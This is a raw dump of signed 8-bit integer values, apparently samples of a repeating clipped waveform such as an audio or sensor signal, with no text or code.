+8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-97 +-108 +-101 +-94 +-74 +-85 +-82 +-76 +-72 +-69 +-66 +-63 +-58 +-56 +-54 +-51 +-48 +-46 +-43 +-42 +-40 +-38 +-37 +-35 +-33 +-32 +-31 +-31 +-29 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +105 +100 +98 +93 +90 +85 +80 +75 +69 +63 +57 +51 +46 +41 +36 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-2 +-3 +-4 +-5 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +90 +85 +81 +78 +77 +74 +72 +69 +66 +61 56 52 47 -43 -39 -37 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-106 +-101 +-80 +-91 +-69 +-80 +-76 +-72 +-69 +-65 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +105 +100 +98 +94 +90 +85 +81 +75 +70 +63 +57 +51 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +100 +92 +86 +83 +80 +78 +76 +74 +70 +66 +62 +57 +52 +48 +42 +38 33 -31 29 -26 +25 +22 +18 +16 +13 +11 +9 +7 +5 +4 +2 +1 +0 +-1 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-11 +-12 +-12 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-86 +-81 +-75 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-47 +-46 +-44 +-41 +-39 +-38 +-37 +-35 +-33 +-32 +-31 +-30 +-28 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +93 +90 +85 +80 +75 +70 +63 +58 +51 +47 +42 +37 +32 +28 +25 +22 +19 +16 +14 +11 +9 +7 +6 +4 +3 +2 +1 +-1 +-1 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-98 +-108 +-102 +-96 +-73 +-85 +-81 +-77 +-71 +-68 +-65 +-62 +-59 +-55 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +104 +99 +96 +93 +90 +85 +80 +74 +69 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +16 +14 +12 +10 +9 +7 +5 +4 +2 +1 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +100 +91 +85 +82 +78 +77 +74 +72 +68 +65 +60 +56 +51 +46 +42 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-100 +-79 +-90 +-70 +-81 +-76 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-34 +-33 +-32 +-31 +-29 +-29 +-27 +-26 +-25 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +98 +94 +90 +85 +80 +74 +69 +63 +58 +52 +-42 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +91 +85 +82 +80 +79 +75 +73 +70 +66 +62 +57 +52 +47 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +107 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +86 +83 +80 +77 +74 +71 +68 +66 +61 +56 +52 +47 +42 +37 +32 +28 +24 +21 +18 +16 +13 +11 +9 +7 +5 +4 +2 +2 +0 +-1 +-1 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-12 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-47 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-33 +-32 +-30 +-29 +-29 +-28 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +104 +99 +96 +93 +90 +85 +80 +75 +70 +64 +58 +52 +47 +41 +37 +32 +28 +24 +21 +18 +16 +13 +12 +10 +8 +7 +5 +3 +2 +1 +0 +-1 +-2 +-4 +-4 +-5 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-101 +-96 +-74 +-86 +-81 +-76 +-72 +-68 +-65 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +109 +103 +99 +96 +92 +89 +85 +80 +74 +69 +63 +58 +52 +47 +41 +37 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +7 +5 +4 +2 +1 +-1 +-2 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-97 +-107 +-101 +-97 +-75 +-85 +-81 +-76 +-72 +-68 +-64 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +99 +96 +92 +89 +84 +80 +75 +69 +63 +58 +52 +47 +41 +36 +32 +29 +25 +22 +18 +16 +13 +11 +9 +7 +6 +5 +3 +2 +1 +0 +-1 +-3 +-4 +-4 +-5 +-6 +-6 +-8 +-8 +-8 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +-106 +-101 +-96 +-74 +-84 +-80 +-76 +-72 +-69 +-65 +-62 +-59 +-55 +-52 +-50 +-47 +-45 +-42 +-41 +-39 +-38 +-37 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +108 +104 +101 +97 +93 +89 +85 +80 +74 +68 +63 +57 +51 +46 +41 +36 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +4 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-102 +-96 +-73 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-55 +-53 +-51 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-36 +-34 +-33 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +105 +100 +96 +93 +90 +85 +80 +74 +69 +64 +58 +52 +47 +41 +37 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +6 +4 +3 +2 +0 +-1 +-2 +-3 +-3 +-5 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-106 +-100 +-95 +-75 +-86 +-80 +-76 +-73 +-69 +-65 +-62 +-59 +-56 +-52 +-50 +-48 +-47 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +100 +96 +92 +90 +85 +80 +75 +69 +63 +58 +52 +47 +41 +37 +32 +29 +25 +22 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-103 +-97 +-107 +-101 +-95 +-73 +-85 +-80 +-76 +-72 +-68 +-64 +-62 +-58 +-55 +-53 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +115 +108 +104 +99 +96 +92 +89 +85 +80 +74 +69 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +91 +84 +80 +78 +76 +74 +71 +68 +64 +60 +56 +51 +46 +40 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-108 +-101 +-80 +-91 +-70 +-81 +-76 +-72 +-69 +-65 +-62 +-59 +-56 +-54 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-34 +-33 +-32 +-31 +-30 +-28 +-27 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +89 +85 +80 +75 +70 +63 +58 +52 +47 +41 +37 +32 +28 24 22 -21 -20 18 -17 +16 +13 +11 +9 +7 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-10 +-11 +-12 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-81 +-77 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +115 +108 +103 +98 +96 +93 +89 +84 +80 +75 +70 +64 +58 +51 +46 +41 +36 +32 +28 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-9 +-9 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-96 +-75 +-85 +-81 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-37 +-36 +-34 +-33 +-33 +-31 +-30 +-29 +-28 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +109 +103 +99 +96 +93 +89 +84 +80 +74 +70 +64 +58 +52 +47 +41 +37 +32 +29 +25 +22 +19 +16 +14 +12 +9 +8 +6 +4 +3 +2 +0 +0 +-1 +-2 +-4 +-4 +-6 +-7 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +99 +91 +84 +81 +78 +77 +74 +72 +68 +65 +61 +56 +52 +47 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-108 +-102 +-79 +-90 +-70 +-81 +-77 +-72 +-69 +-65 +-62 +-58 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-29 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +108 +103 +99 +96 +92 +90 +85 +80 +75 +70 +64 +58 +52 +46 +41 +36 +32 +28 +24 +21 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +0 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +-100 +-95 +-74 +-86 +-80 +-76 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-39 +-37 +-36 +-35 +-33 +-32 +-31 +-30 +-28 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +104 +99 +96 +93 +89 +85 +80 +74 +70 +64 +58 +52 +47 +42 +37 +32 +29 +25 +22 +18 +16 +14 +12 +10 +8 +6 +5 +3 +2 +1 +0 +-2 +-2 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-106 +-100 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-41 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +104 +100 +96 +93 +90 +85 +81 +75 +69 +64 +58 +52 +47 +41 +37 +32 +28 +25 +21 +18 +16 +13 +12 +10 +8 +7 +5 +3 +2 +0 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-107 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-56 +-52 +-50 +-48 +-45 +-44 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +103 +99 +96 +93 +89 +84 +80 +74 +69 +64 +58 +52 +-42 +-104 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-112 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +100 +92 +85 +82 +80 +79 +76 +74 +70 +66 +62 +57 +52 +47 +42 +-50 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +102 +92 +86 +82 +80 +78 +76 +74 +70 +66 +62 +58 +52 +48 +42 +37 +32 +28 +24 +21 +18 +15 +12 +11 +9 +7 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-10 +-10 +-11 +-11 +-12 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-100 +-95 +-74 +-86 +-81 +-76 +-72 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-28 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 +104 +100 +97 +93 +89 +85 +80 +74 +69 +64 +58 +53 +47 +42 +37 +32 +29 +25 +22 +18 +16 +13 +11 +9 +8 +6 +5 +3 +2 +0 +0 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-104 +-97 +-106 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-45 +-44 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +90 +85 +80 +75 +70 +64 +58 +52 +47 +41 +36 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +7 +5 +4 +2 +1 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +102 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +90 +85 +81 +78 +76 +74 +72 +69 +65 +60 +56 +51 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-104 +-97 +-106 +-101 +-79 +-90 +-69 +-81 +-76 +-73 +-69 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-35 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +93 +90 +85 +80 +75 +69 +63 +58 +52 +46 +41 +37 +32 +29 +25 +22 +19 16 14 13 -11 -11 10 9 +7 +5 +3 +2 +1 +-1 +-2 +-2 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-106 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-67 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +103 +99 +96 +94 +89 +83 +80 +74 +68 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +16 +14 +12 +10 8 7 -6 -6 +5 +3 +2 +1 +0 +-1 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-112 +-107 +-101 +-96 +-73 +-85 +-81 +-77 +-72 +-68 +-65 +-62 +-59 +-55 +-52 +-50 +-48 +-45 +-43 +-41 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-30 +-28 +-28 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +108 +104 +100 +96 +92 +89 +84 +80 +75 +70 +63 +58 +52 +47 +42 +37 +32 +29 +25 +22 +19 +17 +14 +12 +10 +8 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-108 +-103 +-96 +-74 +-86 +-66 +-77 +-72 +-69 +-65 +-62 +-58 +-55 +-53 +-51 +-48 +-45 +-43 +-42 +-40 +-38 +-37 +-36 +-34 +-32 +-31 +-31 +-29 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +108 +104 +100 +97 +94 +90 +85 +80 +75 +70 +63 +57 +51 +-43 +-105 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-102 +-97 +108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +115 +102 +93 +86 +82 +80 +78 +76 +73 +69 +66 +62 +57 +52 +47 +42 +37 +32 +29 +25 +21 +18 +16 +13 +11 +8 +7 +5 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +101 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +91 +84 +81 +78 +76 +74 +72 +68 +65 +60 +56 +50 +46 +41 +-52 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-101 +-80 +-90 +-68 +-81 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-54 +-51 +-49 +-46 +-43 +-42 +-40 +-37 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +104 +100 +97 +93 +90 +86 +81 +75 +70 +64 +58 +52 +46 +41 +36 +32 +29 +25 +21 +18 +16 +14 +12 +10 +8 6 5 +4 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-103 +-97 +-107 +-101 +-96 +-74 +-85 +-81 +-77 +-73 +-69 +-66 +-62 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 